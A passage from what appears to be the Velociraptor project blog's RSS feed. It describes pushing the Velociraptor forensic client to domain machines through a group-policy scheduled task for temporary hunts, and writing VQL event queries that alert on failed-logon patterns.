height=&#34;533&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now right click the GPO object and select &amp;quot;Edit&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;873&#34; height=&#34;609&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will create a new scheduled task. Rather than schedule it at a&#xA;particular time, we will select to run it immediately. This will force&#xA;the command to run as soon as the endpoint updates its group policy&#xA;settings (i.e. we do not want to wait for the next reboot of the&#xA;endpoint).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1018&#34; height=&#34;572&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next we give the task a name and a description. In order to allow&#xA;Velociraptor to access raw devices (e.g. to collect memory or NTFS&#xA;artifacts) we can specify that the client will run at&#xA;NT_AUTHORITY\\SYSTEM privileges, and run without any user being&#xA;logged on. It is also worth ticking the &amp;quot;hidden&amp;quot; checkbox here to&#xA;prevent a console box from appearing.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/7.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;742&#34; height=&#34;556&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;7.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next click the Actions tab and add a new action. This is where we launch&#xA;the Velociraptor client. The program will simply be launched from the&#xA;share (i.e. \\\\\\\\DC\\Deployment\\velociraptor.exe) and we&#xA;give it the arguments allowing it to read the provided configuration&#xA;file (i.e.&#xA;--config \\\\\\\\DC\\Deployment\\client.config.yaml client -v).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;733&#34; height=&#34;548&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the setting tab we can control how long we want the client to run.&#xA;For a quick hunt this may be an hour or two but maybe for a DFIR&#xA;engagement it might be a few days. The GPO will ensure the client is&#xA;killed after the allotted time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/9.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;740&#34; height=&#34;549&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;9.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the GPO is installed it becomes active for all domain machines. You&#xA;can now schedule any hunts you wish using the Velociraptor GUI. When a&#xA;domain machine refreshes its group policy it will run the client, which&#xA;will enroll and immediately participate in any outstanding hunts - thus&#xA;collecting and delivering its artifacts to the server. After the&#xA;allotted time has passed, the client will shut down without having&#xA;installed anything on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;You can force a group policy update by running the gpupdate program. Now&#xA;you can verify that Velociraptor is running:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/10.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;822&#34; height=&#34;588&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;10.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;persistence&#34;&gt;Persistence&lt;/h2&gt;&#xA;&lt;p&gt;Note that when running Velociraptor in agent less mode you probably want&#xA;to configure it so that the writeback file is written to the temp&#xA;directory. The writeback file is how the client keeps track of its key&#xA;material (and identity). The default is to store it in the client&#39;s&#xA;installation folder, but you should probably change it in the client&#39;s&#xA;config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Client:&#xA;  writeback_windows: $TEMP\\velociraptor.writeback.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The file will remain in the client&#39;s temp directory so if you ever&#xA;decide to run the agentless client again (by pushing another group&#xA;policy) the client id remains the same.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Agentless hunting with Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor/</link>
      <pubDate>Sat, 02 Mar 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor/</guid>
      <description>&lt;p&gt;There has been a lot of interest lately in Agentless hunting especially&#xA;using PowerShell. There are many reasons why Agentless hunting is&#xA;appealing - there are already a ton of endpoint agents and yet another&#xA;one may not be welcome. Sometimes we need to deploy endpoint agents as&#xA;part of a DFIR engagement and we may not want to permanently install yet&#xA;another agent on end points.&lt;/p&gt;&#xA;&lt;p&gt;This blog post explores an agentless deployment scenario, where we do&#xA;not want to install Velociraptor permanently on the end point, but&#xA;rather push it to end points temporarily to collect specific artifacts.&#xA;The advantage of this method is that there are no permanent changes to&#xA;the end point, as nothing is actually installed. However, we do get the&#xA;full power of Velociraptor to collect artifacts, hunt for evil and&#xA;more...&lt;/p&gt;&#xA;&lt;h1 id=&#34;agentless-velociraptor&#34;&gt;Agentless Velociraptor&lt;/h1&gt;&#xA;&lt;p&gt;Normally when deploying Velociraptor as a service, the binary is copied&#xA;to the system and a service is installed. The service ensures that the&#xA;binary is restarted when the system reboots, and so Velociraptor is&#xA;installed on a permanent basis.&lt;/p&gt;&#xA;&lt;p&gt;However in the agentless deployment scenario we simply run the binary&#xA;from a network share using group policy settings. The downside to this&#xA;approach is that the endpoint needs to be on the domain network to&#xA;receive the group policy update (and have the network share accessible)&#xA;before it can run Velociraptor. When we run in Agentless mode we are&#xA;really after collecting a bunch of artifacts via hunts and then exiting&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the agent will not restart after a reboot. So this method is suitable&#xA;for quick hunts on corporate (non roaming) assets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In this post I will use Windows 2019 Server but this should also work on&#xA;any older version.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-a-network-share&#34;&gt;Creating a network share&lt;/h2&gt;&#xA;&lt;p&gt;The first step is to create a network share with the Velociraptor binary&#xA;and its configuration file. We will run the binary from the share in&#xA;this example, but for more reliability you may want to copy the binary&#xA;into e.g. a temp folder on the end point in case the system becomes&#xA;disconnected from the domain. For quick hunts though it should be fine.&lt;/p&gt;&#xA;&lt;p&gt;We create a directory on the server (I will create it on the domain&#xA;controller but you should probably not do that - find another machine to&#xA;host the share).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1227&#34; height=&#34;523&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I created a directory C:\\Users\\Deployment and ensured that it is&#xA;read only. I have shared the directory as the name Deployment.&lt;/p&gt;&#xA;&lt;p&gt;I now place the Velociraptor executable and client config file in that&#xA;directory and verify that I can run the binary from the network share.&#xA;The binary should be accessible via&#xA;`\\\\DC\Deployment\velociraptor.exe`:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;627&#34; height=&#34;270&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-the-group-policy-object&#34;&gt;Creating the group policy object.&lt;/h2&gt;&#xA;&lt;p&gt;Next we create the group policy object which forces all domain connected&#xA;machines to run the Velociraptor client. We use the Group Policy&#xA;Management Console:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;869&#34; height=&#34;536&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Select the OU or the entire domain and click &amp;quot;Create New GPO&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;864&#34; height=&#34;533&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now right click the GPO object and select &amp;quot;Edit&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;873&#34; height=&#34;609&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will create a new scheduled task. Rather than schedule it at a&#xA;particular time, we will select to run it immediately. This will force&#xA;the command to run as soon as the endpoint updates its group policy&#xA;settings (i.e. we do not want to wait for the next reboot of the&#xA;endpoint).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1018&#34; height=&#34;572&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next we give the task a name and a description. In order to allow&#xA;Velociraptor to access raw devices (e.g. to collect memory or NTFS&#xA;artifacts) we can specify that the client will run at&#xA;NT_AUTHORITY\\SYSTEM privileges, and run without any user being&#xA;logged on. It is also worth ticking the &amp;quot;hidden&amp;quot; checkbox here to&#xA;prevent a console box from appearing.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/7.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;742&#34; height=&#34;556&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;7.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next click the Actions tab and add a new action. This is where we launch&#xA;the Velociraptor client. The program will simply be launched from the&#xA;share (i.e. \\\\\\\\DC\\Deployment\\velociraptor.exe) and we&#xA;give it the arguments allowing it to read the provided configuration&#xA;file (i.e.&#xA;--config \\\\\\\\DC\\Deployment\\client.config.yaml client -v).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;733&#34; height=&#34;548&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the setting tab we can control how long we want the client to run.&#xA;For a quick hunt this may be an hour or two but maybe for a DFIR&#xA;engagement it might be a few days. The GPO will ensure the client is&#xA;killed after the allotted time.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/9.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;740&#34; height=&#34;549&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;9.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the GPO is installed it becomes active for all domain machines. You&#xA;can now schedule any hunts you wish using the Velociraptor GUI. When a&#xA;domain machine refreshes its group policy it will run the client, which&#xA;will enroll and immediately participate in any outstanding hunts - thus&#xA;collecting and delivering its artifacts to the server. After the&#xA;allotted time has passed, the client will shut down without having&#xA;installed anything on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;You can force a group policy update by running the gpupdate program. Now&#xA;you can verify that Velociraptor is running:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/03/02/agentless_hunting_with_velociraptor//blog/html/2019/03/02/agentless_hunting_with_velociraptor/10.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;822&#34; height=&#34;588&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;10.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;persistence&#34;&gt;Persistence&lt;/h2&gt;&#xA;&lt;p&gt;Note that when running Velociraptor in agent less mode you probably want&#xA;to configure it so that the writeback file is written to the temp&#xA;directory. The writeback file is how the client keeps track of its key&#xA;material (and identity). The default is to store it in the client&#39;s&#xA;installation folder, but you should probably change it in the client&#39;s&#xA;config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Client:&#xA;  writeback_windows: $TEMP\\velociraptor.writeback.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The file will remain in the client&#39;s temp directory so if you ever&#xA;decide to run the agentless client again (by pushing another group&#xA;policy) the client id remains the same.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Alerting on event patterns</title>
      <link>https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns/</link>
      <pubDate>Thu, 14 Feb 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns/</guid>
      <description>&lt;p&gt;We have shown in earlier posts how Velociraptor uses VQL to define event&#xA;queries that can detect specific conditions. These conditions can be&#xA;used to create alerts and escalation actions.&lt;/p&gt;&#xA;&lt;p&gt;One of the most useful types of alerts is detecting a pattern of&#xA;activity. For example we can detect failed and successful login attempts&#xA;separately, but it is the specific pattern of events (say 5 failed login&#xA;attempts followed by a successful one) that is interesting from a&#xA;detection point of view.&lt;/p&gt;&#xA;&lt;p&gt;This post illustrates how this kind of temporal correlation can be&#xA;expressed in a VQL query. We then use it to create alerts for attack&#xA;patterns commonly seen by intrusions.&lt;/p&gt;&#xA;&lt;h1 id=&#34;event-queries&#34;&gt;Event Queries&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor executes queries written in the Velociraptor Query Language&#xA;(VQL). The queries can be executed on the client, and their results&#xA;streamed to the server. Alternatively the queries may be executed on the&#xA;server and process the result of other queries which collected&#xA;information from the client.&lt;/p&gt;&#xA;&lt;p&gt;A VQL query does not have to terminate at all. VQL queries draw their&#xA;data from a VQL plugin which may simply return data rows at different&#xA;times. For example, consider the following query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT EventData as FailedEventData,&#xA;       System as FailedSystem&#xA;FROM watch_evtx(filename=securityLogFile)&#xA;WHERE System.EventID = 4625&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query sets up a watcher on a windows event log file. As new events&#xA;are written to the log file, the query will produce those events as new&#xA;rows. The rows will then be filtered so we only see event id 4625&#xA;(Failed logon event).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can implement event queries on the client or on the server.&#xA;For example, say we wanted to collect all failed event logs with the&#xA;query above. We would write an artifact that encapsulates this query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.System.FailedLoginAttempts&#xA;parameters:&#xA;  - name: securityLogFile&#xA;    default: C:/Windows/System32/Winevt/Logs/Security.evtx&#xA;sources:&#xA;  - queries:&#xA;     - SELECT EventData as FailedEventData,&#xA;           System as FailedSystem&#xA;       FROM watch_evtx(filename=securityLogFile)&#xA;       WHERE System.EventID.Value = 4625&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then we simply add that artifact to the monitored artifact list in the&#xA;config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Events:&#xA;  artifacts:&#xA;  - Generic.Client.Stats&#xA;  - Windows.System.FailedLoginAttempts&#xA;  version: 2&#xA;  ops_per_second: 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The monitored artifacts are run on all clients connected to the server.&#xA;The output from these queries is streamed to the server and stored in&#xA;the client&#39;s monitoring VFS directory.&lt;/p&gt;&#xA;&lt;p&gt;Lets test this artifact by trying to run a command using the runas&#xA;windows command. We will be prompted for a password but failing to give&#xA;the correct password will result in a login failure event:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns/1.png&#34;&#xA;     width=&#34;661&#34;&#xA;     height=&#34;148&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After a few seconds the event will be written to the windows event log&#xA;and the watch_evtx() VQL plugin will emit the row - which will be&#xA;streamed to the VFS monitoring directory on the server, where it can be&#xA;viewed in the GUI:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/14/alerting_on_event_patterns//blog/html/2019/02/14/alerting_on_event_patterns/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1300&#34; height=&#34;686&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    